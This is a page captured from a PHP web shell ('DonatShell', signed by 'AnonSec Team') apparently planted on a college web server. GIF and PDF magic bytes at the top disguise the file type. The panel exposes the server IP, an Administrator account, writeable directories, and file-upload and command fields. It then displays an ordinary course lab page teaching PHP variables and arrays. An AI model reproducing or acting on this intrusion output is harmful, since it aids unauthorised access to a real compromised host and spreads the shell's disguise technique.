GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/MMDT1146/Labs/Lab02/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/MMDT1146/Labs/Lab02/Lab02.phpinc
<?
// JimMartinson/MMDT1145/LabXX.phpinc

include('Course/courseInfo.phpinc');
include('../../classInfo.phpinc');

$evaluationNumber = 2;
$evaluationType = "Lab";
$evaluationTitle = "Variables, Strings, and Numbers";
if ( !isset($assignmentSuffix) ) $assignmentSuffix = '';
$evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix;
$f_uId = formValue('uId'); if ( $f_uId ) $userId = $f_uId;
if ( !isset($userId) ) $userId = $_SESSION['userId'];
$title = $evaluationName.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$js='openCenteredWindow';
$smallTitle = true;
include('common/pageHeader.phpinc');
$sectionTitle = $title;
include('common/sectionHeader.phpinc');
include('Gradebook/EvaluationSubmission_BEGIN.phpinc');
$uploadFilename = $evaluationName.'.zip';
?>
<?=$f_message?>
<a name="Lab"></a>
<fieldset><legend>Description</legend>
Demonstrate the use of variables, strings, and numbers.<br>
<?=$gradeNote?>
</fieldset>
<?
$ShowSpanCountBefore = false;
#$ShowSpanCountBefore = true;
?>
<style type="text/css">
b { white-space:nowrap; }
<? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; }
entry, kbd, tt, samp, var { padding:0; white-space:nowrap; }
comment { color:#0c0; background-color:#ffc; }				/* comment */
samp { color:#c00; }																	/* attibute */
kbd { background-color:#ffc; color:#609; }						/* attibute value */
tt { color:#00c; }																		/* tag */
var { color:#00f; font-style:normal; }								/* variable */
entry { background-color:#ffc; color:#f00; }					/* PHP start stop */
</style>
<?
/** /
tt = tag
samp = attribute
kbd = attribute value
/**/
?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
<ol id="main" class="count">
	<li>Create a <b><?=$evaluationName?></b> directory in the <b>Data_WWW/MMDT1146</b> directory and place all work for this lab in that folder.</li>
	<li>Create a page called <b>VSN.php</b>. The page is to consist of:
		<ol>
			<li><tt>DOCTYPE</tt>.</li>
			<li><tt>html</tt> start and stop tags.</li>
			<li>A <tt>head</tt> section with a <tt>title</tt> of <kbd><?=$evaluationTitle?> - <?=$userFullName?></kbd> and the <tt>&lt;meta <samp>charset="<kbd>utf-8</kbd>"</samp>&gt;</tt> tag.</li>
			<li>A <tt>body</tt> section with a <tt>h1</tt> containing the same title as in 1.3 above.</li>
		</ol>
		All PHP code for this assignment will be placed in the <tt>body</tt> section below the <tt>h1</tt> tag.
	</li>
	<li>Demonstrate the use of all three types of PHP comments.</li>
	<li>Demonstrate the use of PHP variables.
		<ol>
			<li>Assign the numeric value <kbd>2</kbd> to a PHP variable.</li>
			<li>Assign the string value <kbd>3times'4'is"12"</kbd> to a PHP variable using the double quote (<code>"</code>) to contain the value.</li>
			<li>Assign a string value to a PHP variable using the single quote (<code>'</code>) to contain the value and containing at lease one double quote and one single quote.</li>
			<li>Output the three variables using the <code>echo</code> statement.</li>
			<li>Output the three variables in HTML using the <entry>&lt;?=</entry><var>$var</var><entry>?></entry> shortcut.</li>
			<li>Demonstrate the use of a variable variable.
				<ol>
					<li>Assign the value <kbd>ooga</kbd> to a PHP variable.</li>
					<li>Use the variable variable syntax (<code>$$</code>) to assign the value <kbd>booga</kbd>.</li>
					<li>Output the <var>$ooga</var> variable.</li>
				</ol>
			</li>
			<li>Assign the value <kbd>2.5</kbd> to a PHP variable.</li>
			<li>Output the values for this variable divided by the variable in step 4.1, minus the variable in step 4.1, plus the variable in step 4.1, and times the variable in step 4.1.</li>
			<li>Now do the same using the variable in step 4.2.</li>
			<li>Concatenate the variables from step 4.1 and 4.2 and output the result.</li>
			<li>Demonstrate the use of PHP arrays.
				<ol>
					<li>Create a PHP array variable.</li>
					<li>Assign three values to the array using only numeric indexing.</li>
					<li>Using a <code>for</code> loop output the array from 4.11.1.</li>
					<li>Create another PHP array variable.</li>
					<li>Assign three values to the array using only associative indexing.</li>
					<li>Using a <code>foreach</code> loop output the array from 4.11.4.</li>
				</ol>
			</li>
			<li>Demonstrate the page output.
				<ol>
					<li>Open a browser and load the <b>VSN.php</b> page.</li>
					<li><b class="info">Take a screenshot</b> and save it in the <b><?=$evaluationName?></b> directory as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>.png</b>.</li>
				</ol>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li>
			<li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<? /** / ?>
<br><code>code</code> <codechange>codechange</codechange> <codeold>codeold</codeold> <comment>comment</comment> <entry>entry</entry> <kbd>kbd</kbd> <samp>samp</samp> <tt>tt</tt> <ttchange>ttchange</ttchange> <var>var</var>
<? /**/
include('Gradebook/EvaluationSubmission_END.phpinc');
$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; }
?>
<fieldset><legend>Grading Criteria</legend>
Demonstrated assignment effectively: <b><?=$evaluationInfo['evaluationPoints']?></b> points.
<br>
There are some things I expect. If they are incorrect you will lose the following:
<br>
Work submitted incorrectly: -<?=$deductionPoints?>.
<br>
Work submitted late: -<?=$deductionPoints?> per week.
<br>
Re-submission of work for grading: -<?=$deductionPoints?> per submission.
<br>
I reserve the right <b>not</b> to apply the deduction points at my absolute discretion.
</fieldset>
<fieldset><legend>NOTES:</legend>
<b>We will be using the following in every html page throughout this class:</b>
<ul>
	<li>The HTML 5 DOCTYPE: <tt>&lt;!DOCTYPE html&gt;</tt>.</li>
	<li>An html tag with <samp>lang</samp> attribute: <tt>&lt;html <samp>lang="<kbd>en</kbd>"</samp>&gt;</tt>.</li>
	<li>A <tt>title</tt> tag.</li>
	<li>The meta character set tag <tt>&lt;meta <samp>charset="<kbd>utf-8</kbd>"</samp>&gt;</tt>.</li>
	<li>An <tt>h1</tt> heading tag with the same content as in the <tt>title</tt> tag.</li>
</ul>
</fieldset>
<?
include('../../ReferencesResources.phpinc');
include('common/sectionFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team